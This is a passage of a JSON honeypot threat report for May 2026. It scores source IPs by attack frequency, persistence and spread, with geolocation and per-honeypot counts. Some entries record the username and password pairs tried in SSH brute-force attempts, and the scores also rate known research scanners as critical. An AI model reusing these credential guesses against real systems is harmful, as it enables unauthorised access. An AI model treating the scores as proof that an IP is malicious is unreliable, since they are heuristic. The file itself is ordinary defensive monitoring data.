      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T02:18:34.601000+00:00",
        "last_seen_30d": "2026-05-31T20:56:22.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 247,
        "Honeytrap": 58,
        "Cowrie": 12,
        "Redishoneypot": 6,
        "Dionaea": 3
      }
    },
    "123.245.60.87": {
      "attack_count": 10,
      "first_seen": "2026-05-20T01:38:04.432Z",
      "last_seen": "2026-05-20T01:48:22.032Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:38:04.432000+00:00",
        "last_seen_30d": "2026-05-20T01:49:25.026000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "196.92.7.249": {
      "attack_count": 10,
      "first_seen": "2026-05-28T07:52:13.285Z",
      "last_seen": "2026-05-28T07:56:51.213Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "it",
        "mina"
      ],
      "passwords_attempted": [
        "12345678",
        "mina"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:52:13.285000+00:00",
        "last_seen_30d": "2026-05-28T07:57:59.230000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "181.78.98.119": {
      "attack_count": 8,
      "first_seen": "2026-05-25T01:00:41.655Z",
      "last_seen": "2026-05-25T01:06:52.856Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "El Salvador",
      "country_code": "SV",
      "city": "San Salvador",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:00:41.655000+00:00",
        "last_seen_30d": "2026-05-25T01:08:00.457000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "74.82.47.4": {
      "attack_count": 7,
      "first_seen": "2026-05-16T04:42:08.495Z",
      "last_seen": "2026-05-16T04:42:08.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T10:49:04+00:00",
        "last_seen_30d": "2026-05-31T13:30:34.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 278,
        "Honeytrap": 104,
        "Redishoneypot": 22,
        "Ciscoasa": 10,
        "H0neytr4p": 8,
        "Cowrie": 7,
        "Dionaea": 4,
        "Honeyaml": 4,
        "ConPot": 2
      }
    },
    "117.254.128.165": {
      "attack_count": 6,
      "first_seen": "2026-05-20T01:21:20.754Z",
      "last_seen": "2026-05-20T01:29:45.064Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Payyanur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:21:20.754000+00:00",
        "last_seen_30d": "2026-05-20T01:30:50.376000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "198.235.24.126": {
      "attack_count": 6,
      "first_seen": "2026-05-02T15:47:30.636Z",
      "last_seen": "2026-05-09T04:47:26.471Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T15:47:30.636000+00:00",
        "last_seen_30d": "2026-05-31T21:40:40.550000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 36,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "36.255.223.98": {
      "attack_count": 6,
      "first_seen": "2026-05-25T02:41:22.580Z",
      "last_seen": "2026-05-25T02:41:37.837Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 48.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.3,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T19:44:11+00:00",
        "last_seen_30d": "2026-05-25T02:42:41.638000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 29,
        "Cowrie": 6
      }
    },
    "5.196.74.29": {
      "attack_count": 6,
      "first_seen": "2026-05-18T13:45:20.830Z",
      "last_seen": "2026-05-18T13:45:28.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:45:20.830000+00:00",
        "last_seen_30d": "2026-05-18T13:46:33.992000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.178": {
      "attack_count": 6,
      "first_seen": "2026-05-02T22:32:12.761Z",
      "last_seen": "2026-05-02T22:32:50.066Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T08:58:23+00:00",
        "last_seen_30d": "2026-05-31T09:24:11.145000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 39,
        "Cowrie": 6,
        "Sentrypeer": 2,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "66.132.195.114": {
      "attack_count": 6,
      "first_seen": "2026-05-19T00:30:52.548Z",
      "last_seen": "2026-05-19T00:31:27.115Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 30,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T14:04:05.685000+00:00",
        "last_seen_30d": "2026-05-31T13:50:21.700000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 6,
        "Honeytrap": 6,
        "ElasticPot": 4,
        "H0neytr4p": 3,
        "Dionaea": 1
      }
    },
    "120.48.98.75": {
      "attack_count": 5,
      "first_seen": "2026-05-28T18:04:17.767Z",
      "last_seen": "2026-05-28T18:04:20.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "caroline"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:04:17.767000+00:00",
        "last_seen_30d": "2026-05-28T18:05:25.212000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "222.137.135.47": {
      "attack_count": 5,
      "first_seen": "2026-05-29T22:55:34.247Z",
      "last_seen": "2026-05-29T22:55:36.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456a."
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:55:34.247000+00:00",
        "last_seen_30d": "2026-05-29T22:56:43.961000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "62.171.164.56": {
      "attack_count": 5,
      "first_seen": "2026-05-15T08:22:44.169Z",
      "last_seen": "2026-05-15T08:22:46.862Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "paloma123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:22:44.169000+00:00",
        "last_seen_30d": "2026-05-15T08:23:55.036000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "170.64.132.157": {
      "attack_count": 4,
      "first_seen": "2026-05-11T08:33:14.659Z",
      "last_seen": "2026-05-11T08:33:15.370Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 1,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-11T08:33:14+00:00",
        "last_seen_30d": "2026-05-11T08:34:55.388000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 60,
        "Dionaea": 8,
        "Cowrie": 4,
        "Mailoney": 3
      }
    },
    "201.238.0.40": {
      "attack_count": 4,
      "first_seen": "2026-05-19T00:38:05.627Z",
      "last_seen": "2026-05-19T02:03:19.293Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:38:05.627000+00:00",
        "last_seen_30d": "2026-05-19T02:04:28.833000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "91.231.89.255": {
      "attack_count": 4,
      "first_seen": "2026-05-23T01:25:11.685Z",
      "last_seen": "2026-05-23T01:25:13.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T17:29:51.637000+00:00",
        "last_seen_30d": "2026-05-31T08:10:49.946000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 22,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "185.239.3.31": {
      "attack_count": 3,
      "first_seen": "2026-05-26T22:26:16.760Z",
      "last_seen": "2026-05-26T22:26:24.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 60631,
      "as_org": "Vandad Vira Hooman LLC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T22:26:16.760000+00:00",
        "last_seen_30d": "2026-05-26T22:27:33.098000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "2.26.251.12": {
      "attack_count": 3,
      "first_seen": "2026-05-06T12:08:55.755Z",
      "last_seen": "2026-05-06T12:10:02.908Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216127,
      "as_org": "International Hosting Company Limited",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:08:55.755000+00:00",
        "last_seen_30d": "2026-05-06T12:11:08.765000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "64.62.156.202": {
      "attack_count": 3,
      "first_seen": "2026-05-12T11:36:26.129Z",
      "last_seen": "2026-05-12T11:36:26.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 29,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-03T03:31:27+00:00",
        "last_seen_30d": "2026-05-31T15:25:17.799000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 78,
        "Mailoney": 6,
        "Cowrie": 3,
        "ConPot": 2,
        "Dionaea": 2,
        "Miniprint": 2,
        "CitrixHoneypot": 1
      }
    },
    "103.137.72.78": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:56:00.042Z",
      "last_seen": "2026-05-03T07:58:00.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 135341,
      "as_org": "Orange Communication",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:56:00.042000+00:00",
        "last_seen_30d": "2026-05-03T07:59:04.018000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.67.129.137": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:49:54.806Z",
      "last_seen": "2026-05-05T20:50:07.688Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Agadir",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:49:54.806000+00:00",
        "last_seen_30d": "2026-05-05T20:51:09.536000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.43.100.128": {
      "attack_count": 2,
      "first_seen": "2026-05-27T04:36:05.789Z",
      "last_seen": "2026-05-27T04:36:18.112Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:36:05.789000+00:00",
        "last_seen_30d": "2026-05-27T04:37:18.708000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.199.77.240": {
      "attack_count": 2,
      "first_seen": "2026-05-03T11:23:43.988Z",
      "last_seen": "2026-05-03T11:23:58.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Brahmapur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:23:43.988000+00:00",
        "last_seen_30d": "2026-05-03T11:24:59.828000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.100.172.28": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:34:59.257Z",
      "last_seen": "2026-05-22T15:35:12.339Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:34:59.257000+00:00",
        "last_seen_30d": "2026-05-22T15:36:19.448000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.29.226.211": {
      "attack_count": 2,
      "first_seen": "2026-05-22T05:44:42.550Z",
      "last_seen": "2026-05-22T05:44:54.860Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:44:42.550000+00:00",
        "last_seen_30d": "2026-05-22T05:45:59.489000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.25.236.87": {
      "attack_count": 2,
      "first_seen": "2026-05-04T23:22:08.899Z",
      "last_seen": "2026-05-04T23:22:21.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Uttaradit",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:22:08.899000+00:00",
        "last_seen_30d": "2026-05-04T23:23:30.902000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "136.158.103.27": {
      "attack_count": 2,
      "first_seen": "2026-05-05T03:01:40.933Z",
      "last_seen": "2026-05-05T03:01:53.633Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Naga",
      "asn": 17639,
